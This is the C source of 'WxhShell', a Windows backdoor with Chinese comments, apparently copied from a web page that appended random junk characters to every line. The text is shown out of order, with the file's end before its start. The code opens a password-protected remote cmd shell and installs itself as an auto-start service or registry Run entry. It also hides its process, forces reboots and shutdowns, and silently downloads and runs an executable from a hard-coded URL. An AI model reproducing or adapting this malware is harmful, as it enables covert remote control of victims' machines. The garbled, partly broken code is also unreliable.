    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ":qHDL3  
    else { 1!;~Y#  
    closesocket(wsh); &v1E)/q{Z  
    ExitThread(0); ?u:mscb  
    } HWB\}jcA6u  
    break; 'nh2}  
    } NF4(+E9g  
  // 获取shell s5+;8u9K  
  case 's': { oQV3  
    CmdShell(wsh); ,30lu a  
    closesocket(wsh); vO~w~u5  
    ExitThread(0); Rr CG(Bh  
    break; IBeorDIZ  
  } _z%~ m2SP  
  // 退出 bXc*d9]  
  case 'x': { k:j_:C&.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MaD|X_g  
    CloseIt(wsh); =-/'$7R,  
    break; {dxl8~/I  
    } H Q[  
  // 离开 <oT1&C{  
  case 'q': { B6TE9IoSb8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a3w6&e`  
    closesocket(wsh); K;rgLj0m  
    WSACleanup(); yS4VgP'W  
    exit(1); i M MKA0JM  
    break; j7a }<\  
        } fK]%*i_"  
  } CMbID1M3  
  } |.yS~XFJS  
_[(EsIqc(F  
  // 提示信息 Pw]r&)I`y[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _%Xp2`m  
} -zJ V(`  
  } {{_v.d~1  
cfv: Ld m  
  return; ~8(Xn2  
} ;8K> ]T)  
'q~<ZO  
// shell模块句柄 40`Qsv0#  
int CmdShell(SOCKET sock) +e*C`uP!  
{ J?dz>3Rhx9  
STARTUPINFO si; FW;}S9u3  
ZeroMemory(&si,sizeof(si)); -:'%YHxX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NT5##XOB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )F&.0 '  
PROCESS_INFORMATION ProcessInfo; |@1(^GX  
char cmdline[]="cmd"; 0g=vMLi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3WwCo.q;m  
  return 0; us1$  
} <"`f!k#[  
Ci 4c8  
// 自身启动模式 J@<f*  
int StartFromService(void) 5%QYe]D  
{ 2^Im~p~ByE  
typedef struct aZ{l6  
{ [PiMu,O[v  
  DWORD ExitStatus; SEg{Gso9b  
  DWORD PebBaseAddress; m*jE\+)=^  
  DWORD AffinityMask; o$%KbfXO]  
  DWORD BasePriority; TNN@G~@cm  
  ULONG UniqueProcessId; AX6:*aZB  
  ULONG InheritedFromUniqueProcessId; ecH7")  
}   PROCESS_BASIC_INFORMATION; Kf(Px%G6K  
E>*Wu<<  
PROCNTQSIP NtQueryInformationProcess; G,P k3>I'  
*\}$,/m['  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6|n3Q$p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sGNHA( ;  
vRW;{,d  
  HANDLE             hProcess; KVEc:<|x  
  PROCESS_BASIC_INFORMATION pbi; _99 +Vjy  
h:C:opa-=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |x&4vHXR0  
  if(NULL == hInst ) return 0; MNTVG&h  
33eOM(`D[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *sB'D+-/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JgP%4)]LV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A/}[Z\C  
}2*qv4},!  
  if (!NtQueryInformationProcess) return 0; !blGc$kC  
L[Y$ `e{zd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dQ_'8 )  
  if(!hProcess) return 0; N M),2%<  
hSAI G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :@E^oNKa0  
<?L5bhq  
  CloseHandle(hProcess); ('j'>"1H  
g[@0H=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ge?DD,a c  
if(hProcess==NULL) return 0; )g $T%  
XH*(zTd(?  
HMODULE hMod; 1>OU~A"  
char procName[255]; U61 LMH  
unsigned long cbNeeded; Zm++5b`W/[  
[h' 22 W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b">"NvlB  
0;=]MEk?  
  CloseHandle(hProcess); vlDA/( &  
O tQ]\:p7  
if(strstr(procName,"services")) return 1; // 以服务启动 l<S3<'&  
]{{%d4  
  return 0; // 注册表启动 .}+3A~  
} >,k2|m  
ngd4PN>{4  
// 主模块 H>]*<2(=-  
int StartWxhshell(LPSTR lpCmdLine) x N>\t& c  
{ n4XkhY|  
  SOCKET wsl; s-x1<+E(  
BOOL val=TRUE; 1g,gilc  
  int port=0; 9PO5GYU  
  struct sockaddr_in door; 4XJ']M(5;  
G\k&s F  
  if(wscfg.ws_autoins) Install(); KMfRMc&  
o@j!JI&  
port=atoi(lpCmdLine); =Ov,7<8o  
7T!t*sSO'  
if(port<=0) port=wscfg.ws_port; eW3?3l`fvt  
#_3-(H5u  
  WSADATA data; F2<Q~gQ;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3|G~_'`RLt  
[rAi9LSO"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XknNb{. r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .Q@]+&`|}i  
  door.sin_family = AF_INET; F>[^m Xw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9aIv|cS?  
  door.sin_port = htons(port); Q($@{[lT  
3]'h(C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C deV3  
closesocket(wsl); efHCPj  
return 1; >k=@YLj  
} |)O;+e\  
oHSDi  
  if(listen(wsl,2) == INVALID_SOCKET) { MDd 2B9cy[  
closesocket(wsl); I7|a,Q^f  
return 1; ev/)#i#s{  
} #%OS=.V  
  Wxhshell(wsl); v!<FeLW  
  WSACleanup(); -{d(~XIo  
f1o^:}5x  
return 0; SjJ$Oinc  
*(i%\  
} r<P?F  
&js$qgY  
// 以NT服务方式启动 |6Iw\YU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G2c\"[N1/  
{ ]:?hU^H]<  
DWORD   status = 0; ?=kH}'igq  
  DWORD   specificError = 0xfffffff; 7Ot&]M  
?G&J_L=@Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dp^=%F{t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~:_10g]r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TDg<&ND3  
  serviceStatus.dwWin32ExitCode     = 0; XC/M:2$  
  serviceStatus.dwServiceSpecificExitCode = 0; 6B>*v`T:  
  serviceStatus.dwCheckPoint       = 0; |-GbHfz  
  serviceStatus.dwWaitHint       = 0; 0BjP|API  
duCXCX^n T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }J\7IsM&  
  if (hServiceStatusHandle==0) return; C^U>{jf !  
q="ymx~  
status = GetLastError(); += gU`<\  
  if (status!=NO_ERROR) cauKG@:2F  
{ 7eZwpg?K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tn>L?  
    serviceStatus.dwCheckPoint       = 0; qCm%};yt  
    serviceStatus.dwWaitHint       = 0; $\20Vgu<  
    serviceStatus.dwWin32ExitCode     = status; 0PUSCka'6  
    serviceStatus.dwServiceSpecificExitCode = specificError; C'sA0O@O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Nj'_G\}  
    return; />PH{ l  
  } w>RwEU+w=@  
=fhRyU:C[z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D42!#  
  serviceStatus.dwCheckPoint       = 0; |*]<*qnZt  
  serviceStatus.dwWaitHint       = 0; p8&rl|z|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1x+w|h  
} O#vIn}  
0? KvR``Aj  
// 处理NT服务事件,比如:启动、停止 YQO9$g0% ~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %]F{aR  
{ /KO2y0`  
switch(fdwControl) ?i~mt'O  
{ 7~D5Gy  
case SERVICE_CONTROL_STOP: x:]_z.5  
  serviceStatus.dwWin32ExitCode = 0; H3ob 8+J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j(_6.zf  
  serviceStatus.dwCheckPoint   = 0; 8}Maj  
  serviceStatus.dwWaitHint     = 0; np7!y U  
  { 7#26Smv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^7$Q"  
  } GN|xd+O_  
  return; N\hHu6  
case SERVICE_CONTROL_PAUSE: dFnu&u"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f2Tz5slE  
  break; {E1^Wn1M  
case SERVICE_CONTROL_CONTINUE: dJ{'b '#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <Lq.J`|+  
  break; 9\6ZdnEKu,  
case SERVICE_CONTROL_INTERROGATE: f kdJgK  
  break; %b ^.Gw\L  
}; {8~xFYc:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !OR %AdxB  
} 0'`#I  
nh"LdHqiDB  
// 标准应用程序主函数 RUV:   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F @Wb<+0  
{ il:RE8  
vH?3UW  
// 获取操作系统版本 YJ01-  
OsIsNt=GetOsVer(); <gY.2#6C\%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?NUDHUn_  
iN+&7#x;/  
  // 从命令行安装 5jcy*G}[  
  if(strpbrk(lpCmdLine,"iI")) Install(); Aq&H-g]s  
?)/&tk9.n  
  // 下载执行文件 qI1J M =  
if(wscfg.ws_downexe) { lXrAsm$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sYyya:ykxT  
  WinExec(wscfg.ws_filenam,SW_HIDE); j"P}Wn  
} 4Mj cx.21  
p+{*&Hm5  
if(!OsIsNt) { hKQg:30<  
// 如果时win9x,隐藏进程并且设置为注册表启动 XSo$;q\  
HideProc(); |%Ssb;M  
StartWxhshell(lpCmdLine); Ky[-ZQQo=5  
} <cR]-Yr~  
else ,N2|P:x  
  if(StartFromService()) >iWw i'T=  
  // 以服务方式启动 u-X P `  
  StartServiceCtrlDispatcher(DispatchTable); _R|8_#yM  
else _/a8X:[(  
  // 普通方式启动 Ap%tm)@1  
  StartWxhshell(lpCmdLine); _n3"  
E&2mFg  
return 0; FZJ sZeO  
} "]1|%j  
2c8e:Xgv  
P&8QKX3 j^  
#,\qjY  
=========================================== c_.4~>qw  
w 8oIq*  
L t.Vo  
/AUXO]  
`F' >NNY  
!>QD42  
" X!/  
aQ.mvuMa7'  
#include <stdio.h> %0^taA  
#include <string.h> ch:0qgJ  
#include <windows.h> v.e~m2u_F  
#include <winsock2.h> Z3nmC-NE  
#include <winsvc.h> x[eho,6)  
#include <urlmon.h> 3h>5 6{P  
:~dI2e\:  
#pragma comment (lib, "Ws2_32.lib") + |d[q?  
#pragma comment (lib, "urlmon.lib") p#fV|2'  
K6; sxF  
#define MAX_USER   100 // 最大客户端连接数 gye'_AR?k  
#define BUF_SOCK   200 // sock buffer \y0uGnmCj  
#define KEY_BUFF   255 // 输入 buffer c27\S?\ Jd  
AU/L_hg  
#define REBOOT     0   // 重启 F\hU V[  
#define SHUTDOWN   1   // 关机 b:>t1S Ul  
FaE,rzn)iD  
#define DEF_PORT   5000 // 监听端口 LuUfdzH  
KZt4 dr  
#define REG_LEN     16   // 注册表键长度 }6^d/nE*T  
#define SVC_LEN     80   // NT服务名长度 [%yCnt  
58.b@@T  
// 从dll定义API , aQ{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *[O)VkL\%i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /?g:`NT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T@,tlIM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IA?v[xu  
b#z{["%Zp  
// wxhshell配置信息 M?zwXmTVW0  
struct WSCFG { ]W>kbH Imz  
  int ws_port;         // 监听端口 9 54O=9PQ  
  char ws_passstr[REG_LEN]; // 口令 )M(-EDL>Qk  
  int ws_autoins;       // 安装标记, 1=yes 0=no r1QLSD]i6  
  char ws_regname[REG_LEN]; // 注册表键名 O!#bM< *  
  char ws_svcname[REG_LEN]; // 服务名 f6-OR]R5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Z6\%:/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d%='W|i\p&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NT<> LWo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no is [p7-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A5LTgGzaW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g4 G?hv`R  
C Nt  
}; @u}1 S1  
Xeo2 < @[  
// default Wxhshell configuration aR}L- -m  
struct WSCFG wscfg={DEF_PORT, A ^wIsAxT  
    "xuhuanlingzhe", c$[cDf~  
    1, & e~g}7  
    "Wxhshell", Qt+;b  
    "Wxhshell", ,8MUTXd@ V  
            "WxhShell Service", c O[Hr  
    "Wrsky Windows CmdShell Service", .gK>O2hI  
    "Please Input Your Password: ", S;]][h =  
  1, /kKF|Hg`c  
  "http://www.wrsky.com/wxhshell.exe", 'qT[,iQ  
  "Wxhshell.exe" 9 EqU 2~  
    }; 1:r8p6  
iO_6>&(  
// 消息定义模块 kX)Xo`^Ys  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y &"rf   
char *msg_ws_prompt="\n\r? for help\n\r#>"; .W)%*~ O!;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "TboIABp:H  
char *msg_ws_ext="\n\rExit."; Nn%[J+F  
char *msg_ws_end="\n\rQuit."; LU=`K4  
char *msg_ws_boot="\n\rReboot..."; :yTpjC-S]  
char *msg_ws_poff="\n\rShutdown..."; pa@@S $(  
char *msg_ws_down="\n\rSave to "; ;"77? )  
6!GO{2d"  
char *msg_ws_err="\n\rErr!"; OcWzo#q4[  
char *msg_ws_ok="\n\rOK!"; W<AxctId  
orcPKCz|"  
char ExeFile[MAX_PATH]; gwyHDSo8:a  
int nUser = 0; ui\yY3?  
HANDLE handles[MAX_USER]; -'iV-]<  
int OsIsNt; - P$mN6h  
<+wbnnK  
SERVICE_STATUS       serviceStatus; aV9QIH~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^k7`:@ z0U  
8qY\T0  
// 函数声明 -U"h3Ye^  
int Install(void); IyfhVk?  
int Uninstall(void); 1\'zq;I~  
int DownloadFile(char *sURL, SOCKET wsh); !jeoB  
int Boot(int flag); !^:)zORYR  
void HideProc(void); utDjN"  
int GetOsVer(void); D[5Qd)PIL  
int Wxhshell(SOCKET wsl); wgb e7-{  
void TalkWithClient(void *cs); a*4l!-7  
int CmdShell(SOCKET sock); 2MapB*  
int StartFromService(void); n%J {Tcn6  
int StartWxhshell(LPSTR lpCmdLine); !b0ANIp  
U)n+j}vi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O*8 .kqlgt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `Z 3p( G  
A*r6  
// 数据结构和表定义 &2EimP  
SERVICE_TABLE_ENTRY DispatchTable[] = k15B5  
{ iVg3=R)[1  
{wscfg.ws_svcname, NTServiceMain}, Pl}>  
{NULL, NULL} n\ yDMY  
}; zFn-V EJ)  
'%2q'LqSA  
// 自我安装 `?fY!5BA  
int Install(void) >*A"tk#oR  
{ AD ,  
  char svExeFile[MAX_PATH]; y@'m D*z  
  HKEY key; G2A^+R0\  
  strcpy(svExeFile,ExeFile); 5#|f:M]Bo|  
]N\J~Gm  
// 如果是win9x系统,修改注册表设为自启动 O"D0+BK79e  
if(!OsIsNt) { <^APq8>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hZ ve8J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dP0%<Q|  
  RegCloseKey(key); QX]~|?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M+akD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {|;5P.,l  
  RegCloseKey(key); ,W!v0*uxp&  
  return 0; >*hY1@N1  
    } X<OOgC  
  } {O4y Y=G  
} g=T !fF=  
else { <]jKpJ{3N  
X \1grM  
// 如果是NT以上系统,安装为系统服务 ^HYrJr$y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yv@td+-"D  
if (schSCManager!=0) sSM^net0  
{ ^` 96L  
  SC_HANDLE schService = CreateService 8N8N)#A[  
  ( n%M-L[n  
  schSCManager, {Gd<+tQg  
  wscfg.ws_svcname, _qZ?|;o^  
  wscfg.ws_svcdisp, :slVja$e  
  SERVICE_ALL_ACCESS, -/k;VT|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]~!jf  
  SERVICE_AUTO_START,  yO7xAb  
  SERVICE_ERROR_NORMAL, iL%Q@!ka  
  svExeFile, m3cO { 1I  
  NULL, 23F<f+2S  
  NULL, 01 vEt  
  NULL, J(%Jg  
  NULL, B-@ ]+W  
  NULL &K1\"  
  ); o:E_k#Fi  
  if (schService!=0) <K$X>&Ts  
  { ? x*Ve2+]  
  CloseServiceHandle(schService); -t<8)9q(  
  CloseServiceHandle(schSCManager); O[tOpf@s.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]Tb ?k+a  
  strcat(svExeFile,wscfg.ws_svcname); Vh.9/$xQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^X&n-ui   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rM sd)  
  RegCloseKey(key); WxN@&g(  
  return 0; rW~hFSrV[o  
    } eC9nOwp]xH  
  } h;^H*Y&`  
  CloseServiceHandle(schSCManager); yK$.wd 2,  
} M7\; Y  
} @dy<=bh~  
`eF&|3!IYQ  
return 1; 4z_>CiA  
} "I)*W8wTn  
aetK<9L$  
// 自我卸载 8f^QO:  
int Uninstall(void) /G zA89N(  
{ 63J_u-o  
  HKEY key; XzX-Q'i=n0  
O[N}@%HMW  
if(!OsIsNt) { 1kiS."77x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k,~I>qg  
  RegDeleteValue(key,wscfg.ws_regname); HF3W,eaqK  
  RegCloseKey(key); b V)mO@N~w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <$f7&6B  
  RegDeleteValue(key,wscfg.ws_regname); 1YGj^7V)|Z  
  RegCloseKey(key); w $\p\}~,  
  return 0; *K{-J*   
  } 1@ e22\  
} ux[h\Tp  
} rNdeD~\  
else { 0I8w'/s_g9  
,9(=Iu-?1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EXdx$I=X  
if (schSCManager!=0) rRTAWAs%T  
{ 8y<NT"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0>  
  if (schService!=0) nX@lR~g%F  
  { KRY%B[k  
  if(DeleteService(schService)!=0) { h83;}>  
  CloseServiceHandle(schService); 'u \my  
  CloseServiceHandle(schSCManager); &0E>&1`7  
  return 0;  h :[8$]  
  } [7K-L6X  
  CloseServiceHandle(schService); X-tc Ud  
  } ,[64$=R8  
  CloseServiceHandle(schSCManager); MOiTz L*  
} 6' 9ITA  
} o3_dHbdI  
O4Wn+$AN  
return 1; VSK!Pc.G}  
} 8{m5P8w'  
X=:|v<E   
// 从指定url下载文件 xKilTh_.6  
int DownloadFile(char *sURL, SOCKET wsh) ?!N@%R>5rN  
{ hdi/k!9[\  
  HRESULT hr;  d"E@e21  
char seps[]= "/"; Mr5E\~K>s  
char *token; @~4Q\^;NX  
char *file; e?Pzhh a  
char myURL[MAX_PATH]; 5 A/[x $q  
char myFILE[MAX_PATH]; QY]^^f  
'T(7EL3$}  
strcpy(myURL,sURL); .L,xqd[zC  
  token=strtok(myURL,seps); 7J 0=HbH  
  while(token!=NULL) @Axwj   
  { I:6N?lD4}0  
    file=token; IoEIT Kd  
  token=strtok(NULL,seps); >dnH  
  } FME&v Uh/  
. 6wyu7oK  
GetCurrentDirectory(MAX_PATH,myFILE); w]4=uL6  
strcat(myFILE, "\\"); g]'RwI  
strcat(myFILE, file); oKl^Ttr  
  send(wsh,myFILE,strlen(myFILE),0); TRQ@=.  
send(wsh,"...",3,0); MwoU>+XB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QB<9Be@e  
  if(hr==S_OK) 3GH@|id  
return 0; wVI 1sR  
else s Zan.Kc#  
return 1; ; TaR1e0  
24ojjxz+  
} yfBVy8Sm  
\DP*?D_}?  
// 系统电源模块 )c'5M]V  
int Boot(int flag) )2@_V %  
{ x%acWeV5  
  HANDLE hToken; *Q?ZJS ~  
  TOKEN_PRIVILEGES tkp; V3<baxdE  
fl{wF@C6  
  if(OsIsNt) { o gcEv>0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !"*!du28jo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 54TW8y `h  
    tkp.PrivilegeCount = 1; k{*IR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &WSxg&YG)\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '#~$Od4&=  
if(flag==REBOOT) { ?\GILB,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hJqLH ?Ri  
  return 0; jv:!vi:  
} |N9::),<  
else { `0l)\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0?)U?=>]p  
  return 0;  xc%\%8C}  
} ;Z\1PwT  
  } jOJ$QT  
  else { X!}  t``  
if(flag==REBOOT) { w"s;R8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y{6vW-z_<  
  return 0; _l?InNv  
} (!-gX" <b  
else { -E6#G[JJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (1~d/u?2\  
  return 0; SZO$#  
} 8MHYk>O~{G  
} H4s^&--  
jo75M Sj  
return 1; 7Ao9MF-  
} gWt}q-@nRR  
J%G EIe|  
// win9x进程隐藏模块 vwVK ^B  
void HideProc(void) & PHejG_#  
{ 3F5Y#[L`  
.A;e` cKb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _[zZm*  
  if ( hKernel != NULL ) I{8fTod  
  { hT `kma  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~H[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *R] Ob9X  
    FreeLibrary(hKernel); VR86ok  
  } a;=)`  
2nSX90@:  
return; ;x 9_  
} en"]u,!  
{!? @u?M  
// 获取操作系统版本 !N\<QRb\q  
int GetOsVer(void) _zAHN0d  
{ R+'$V$g\X  
  OSVERSIONINFO winfo; w! J|KM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T&M*sydA  
  GetVersionEx(&winfo); ?C( ' z7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ) >_xHc?  
  return 1; Vu @2  
  else 3 [R<JrO  
  return 0; H .F-mm  
} zV)(i<Q  
K gN=b  
// 客户端句柄模块 RrFq"  
int Wxhshell(SOCKET wsl) F32N e6Y6"  
{ 8v$ 2*$  
  SOCKET wsh; {M`yYeo  
  struct sockaddr_in client; )e#KL$B)v  
  DWORD myID;  ]/l"  
HGuU6@~hu  
  while(nUser<MAX_USER) (HNxo{t  
{ ?hqHTH:PU  
  int nSize=sizeof(client); RJpH1XQ j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O$Wi=5  
  if(wsh==INVALID_SOCKET) return 1; 1u?h4w C  
#w%d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )7$1Da|.  
if(handles[nUser]==0) p`/"e<TP  
  closesocket(wsh); 8Ld`$_E  
else j -l#n&M  
  nUser++; #xUX1(  
  } ``;.Oy6jS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 12 8aJ  
H1?t2\V4  
  return 0; |l4tR  
} xJG&vOf;?  
-^1}J  
// 关闭 socket 8Zj=:;  
void CloseIt(SOCKET wsh) r7Vt,{4/  
{ t>hoXn^-  
closesocket(wsh); 5yOIwzr&Uu  
nUser--; eAU0 8gM.  
ExitThread(0); 0P{^aSxTP  
} OQlmzg  
\a<7DTV  
// 客户端请求句柄 ldd8'2  
void TalkWithClient(void *cs) 2C6o?*RjyY  
{ mLEJt,X  
v'Y0|9c  
  SOCKET wsh=(SOCKET)cs; &a;{ed1B  
  char pwd[SVC_LEN]; !,Ou:E?Bb  
  char cmd[KEY_BUFF]; uDtml$9rN  
char chr[1]; nt 9LBea  
int i,j; Lud[.>i  
f ZEyXb  
  while (nUser < MAX_USER) { A-n@:` n~  
U46qpb 7  
if(wscfg.ws_passstr) { 2 m"2>gX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;mT|0&o>#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kM:Z(Z7$  
  //ZeroMemory(pwd,KEY_BUFF); Z\lJE>1  
      i=0; ,6J{-Iu  
  while(i<SVC_LEN) { HZINsIm!?  
-_*ux!  
  // 设置超时 7 KuUV!\h`  
  fd_set FdRead; 2X X-  
  struct timeval TimeOut; ]\ ~s83?X  
  FD_ZERO(&FdRead); u%t/W0xi  
  FD_SET(wsh,&FdRead); .OyzM  
  TimeOut.tv_sec=8; c-GS:'J{  
  TimeOut.tv_usec=0; ABx< Ep6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lfJvN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c -sc*.&  
8+* 1s7{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1bz%O2U-(  
  pwd=chr[0]; ?\Bm>p% +  
  if(chr[0]==0xd || chr[0]==0xa) { p*NKM} ]I  
  pwd=0; MG}rvzn@  
  break; V=i/cI\  
  } D`Cy]j  
  i++; w"Q/ 6#!K  
    } 1"\^@qRv#  
!:]/MpQ ?  
  // 如果是非法用户,关闭 socket +YJpVxYmZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HXeX !  
} +g9C klJ  
<)68ol~<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ym_w09   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); La2f]+sV  
qjm6\ii:)  
while(1) { V}Ok>6(~  
U/#X,Bi~  
  ZeroMemory(cmd,KEY_BUFF); +vr|J:  
gAudL)X  
      // 自动支持客户端 telnet标准   ^)nIf)9}7  
  j=0; *'-[J2  
  while(j<KEY_BUFF) { We`6# \Z X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YigDrW  
  cmd[j]=chr[0]; E%b*MU  
  if(chr[0]==0xa || chr[0]==0xd) { wbpz,  
  cmd[j]=0; W>_K+: t  
  break; ;f!}vo<;  
  } (y^svXU}a  
  j++; B*@0l:  
    } UfkQG`G9H  
Hk 0RT%PK  
  // 下载文件 {3* Ne /  
  if(strstr(cmd,"http://")) { 8{- *Q(=/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <WiyM[ ep  
  if(DownloadFile(cmd,wsh)) D7lRZb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TWeup6k  
  else H5eGl|Z5]^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O>@ChQF  
  } u|+Dqe`  
  else { :|HCUZ*H(T  
==Ah& ){4^  
    switch(cmd[0]) { t" $#KP<  
  ysH'X95  
  // 帮助 MqAN~<l [  
